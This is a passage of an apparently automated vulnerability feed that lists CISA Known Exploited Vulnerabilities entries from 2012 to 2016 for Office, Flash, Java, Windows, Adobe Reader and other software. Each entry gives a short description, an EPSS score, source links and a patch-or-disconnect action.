CVE-2016-7262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7262&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Memory Corruption Vulnerability https://kevwire.com/record/CVE-2016-7193 Microsoft Office Memory Corruption Vulnerability (Mar 3, 2022). Microsoft Office contains a memory corruption vulnerability which can allow for remote code execution. EPSS 57.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7193&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7193&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Race Condition Vulnerability https://kevwire.com/record/CVE-2016-5195 Linux Kernel Race Condition Vulnerability (Mar 3, 2022). Race condition in mm/gup.c in the Linux kernel allows local users to escalate privileges. EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-5195&date=2026-10-25). Sources: CISA KEV entry CVE-2016-5195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-5195&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2016-4117 Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022). An access of resource using incompatible type vulnerability exists within Adobe Flash Player that allows an attacker to perform remote code execution. EPSS 94.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4117&date=2026-10-25). Sources: CISA KEV entry CVE-2016-4117: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4117&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2016-1019 Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022). Adobe Flash Player allows remote attackers to cause a denial of service or possibly execute arbitrary code. EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1019&date=2026-10-25). Sources: CISA KEV entry CVE-2016-1019: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1019&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Secondary Logon Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2016-0099 Microsoft Windows Secondary Logon Service Privilege Escalation Vulnerability (Mar 3, 2022). A privilege escalation vulnerability exists in Microsoft Windows if the Windows Secondary Logon Service fails to properly manage request handles in memory. An attacker who successfully exploited this vulnerability could run arbitrary code as an administrator. EPSS 37.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0099&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0099: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0099&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2015-7645 Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022). Adobe Flash Player allows remote attackers to execute arbitrary code via a crafted SWF file. EPSS 65.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-7645&date=2026-10-25). Sources: CISA KEV entry CVE-2015-7645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-7645&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2015-5119 Adobe Flash Player Use-After-Free Vulnerability (Mar 3, 2022). A use-after-free vulnerability exists within the ActionScript 3 ByteArray class in Adobe Flash Player that allows an attacker to perform remote code execution. EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5119&date=2026-10-25). Sources: CISA KEV entry CVE-2015-5119: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5119&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Integrity Check Vulnerability https://kevwire.com/record/CVE-2015-4902 Oracle Java SE Integrity Check Vulnerability (Mar 3, 2022). Unspecified vulnerability in Oracle Java SE allows remote attackers to affect integrity via Unknown vectors related to deployment. EPSS 13.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4902&date=2026-10-25). Sources: CISA KEV entry CVE-2015-4902: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4902&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-3043 Adobe Flash Player Memory Corruption Vulnerability (Mar 3, 2022). A memory corruption vulnerability exists in Adobe Flash Player that allows an attacker to perform remote code execution. EPSS 73.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3043&date=2026-10-25). Sources: CISA KEV entry CVE-2015-3043: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3043&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE and Java SE Embedded Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2015-2590 Oracle Java SE and Java SE Embedded Remote Code Execution Vulnerability (Mar 3, 2022). An unspecified vulnerability exists within Oracle Java Runtime Environment that allows an attacker to perform remote code execution. EPSS 25.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2590&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2590: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2590&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Malformed EPS File Vulnerability https://kevwire.com/record/CVE-2015-2545 Microsoft Office Malformed EPS File Vulnerability (Mar 3, 2022). Microsoft Office allows remote attackers to execute arbitrary code via a crafted EPS image. EPSS 85.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2545&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2545: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2545&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft PowerPoint Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-2424 Microsoft PowerPoint Memory Corruption Vulnerability (Mar 3, 2022). Microsoft PowerPoint allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Office document. EPSS 40.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2424&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2424: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2424&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft ATM Font Driver Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2015-2387 Microsoft ATM Font Driver Privilege Escalation Vulnerability (Mar 3, 2022). ATMFD.DLL in the Adobe Type Manager Font Driver in Microsoft Windows Server allows local users to gain privileges via a crafted application. EPSS 34.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2387&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2387: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2387&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2015-1701 Microsoft Win32k Privilege Escalation Vulnerability (Mar 3, 2022). An unspecified vulnerability exists in the Win32k.sys kernel-mode driver in Microsoft Windows Server that allows a local attacker to execute arbitrary code with elevated privileges. EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1701&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1701: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1701&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-1642 Microsoft Office Memory Corruption Vulnerability (Mar 3, 2022). Microsoft Office contains a memory corruption vulnerability that allows remote attackers to execute arbitrary code via a crafted document. EPSS 53.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1642&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1642: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1642&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Object Linking & Embedding (OLE) Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2014-4114 Microsoft Windows Object Linking & Embedding (OLE) Remote Code Execution Vulnerability (Mar 3, 2022). A vulnerability exists in Windows Object Linking & Embedding (OLE) that could allow remote code execution if a user opens a file that contains a specially crafted OLE object. EPSS 81.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4114&date=2026-10-25). Sources: CISA KEV entry CVE-2014-4114: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4114&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Use-After-Free Vulnerability https://kevwire.com/record/CVE-2014-0496 Adobe Reader and Acrobat Use-After-Free Vulnerability (Mar 3, 2022). Adobe Reader and Acrobat contain a use-after-free vulnerability which can allow for code execution. EPSS 40.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0496&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0496: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0496&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2013-5065 Microsoft Windows Kernel Privilege Escalation Vulnerability (Mar 3, 2022). Microsoft Windows NDProxy.sys in the kernel contains an improper input validation vulnerability which can allow a local attacker to escalate privileges. EPSS 34.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-5065&date=2026-10-25). Sources: CISA KEV entry CVE-2013-5065: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-5065&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2013-3897 Microsoft Internet Explorer Use-After-Free Vulnerability (Mar 3, 2022). A use-after-free vulnerability exists within CDisplayPointer in Microsoft Internet Explorer that allows an attacker to remotely execute arbitrary code. EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3897&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3897&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Memory Corruption Vulnerability https://kevwire.com/record/CVE-2013-3346 Adobe Reader and Acrobat Memory Corruption Vulnerability (Mar 3, 2022). Adobe Reader and Acrobat contain a memory corruption vulnerability which can allow attackers to execute arbitrary code or cause a denial of service. EPSS 78.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3346&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3346: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3346&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox Information Disclosure Vulnerability https://kevwire.com/record/CVE-2013-1675 Mozilla Firefox Information Disclosure Vulnerability (Mar 3, 2022). Mozilla Firefox does not properly initialize data structures for the nsDOMSVGZoomEvent::mPreviousScale and nsDOMSVGZoomEvent::mNewScale functions, which allows remote attackers to obtain sensitive information from process memory via a crafted web site. EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1675&date=2026-10-25). Sources: CISA KEV entry CVE-2013-1675: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1675&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2013-1347 Microsoft Internet Explorer Remote Code Execution Vulnerability (Mar 3, 2022). This vulnerability may corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user within Internet Explorer. EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1347&date=2026-10-25). Sources: CISA KEV entry CVE-2013-1347: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1347&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2013-0641 Adobe Reader Buffer Overflow Vulnerability (Mar 3, 2022). A buffer overflow vulnerability exists in Adobe Reader which allows an attacker to perform remote code execution. EPSS 32.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0641&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0641: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0641&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Memory Corruption Vulnerability https://kevwire.com/record/CVE-2013-0640 Adobe Reader and Acrobat Memory Corruption Vulnerability (Mar 3, 2022). An memory corruption vulnerability exists in the acroform.dll in Adobe Reader that allows an attacker to perform remote code execution. EPSS 86.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0640&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0640: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0640&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2013-0632 Adobe ColdFusion Authentication Bypass Vulnerability (Mar 3, 2022). An authentication bypass vulnerability exists in Adobe ColdFusion which could result in an unauthorized user gaining administrative access. EPSS 93.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0632&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0632: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0632&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2012-4681 Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022). The Java Runtime Environment (JRE) component in Oracle Java SE allow for remote code execution. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-4681&date=2026-10-25). Sources: CISA KEV entry CVE-2012-4681: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-4681&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office MSCOMCTL.OCX Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2012-1856 Microsoft Office MSCOMCTL.OCX Remote Code Execution Vulnerability (Mar 3, 2022). The TabStrip ActiveX control in the Common Controls in MSCOMCTL.OCX in Microsoft Office allows remote attackers to execute arbitrary code via a crafted (1) document or (2) web page that triggers system-state corruption. EPSS 72.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1856&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1856&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: 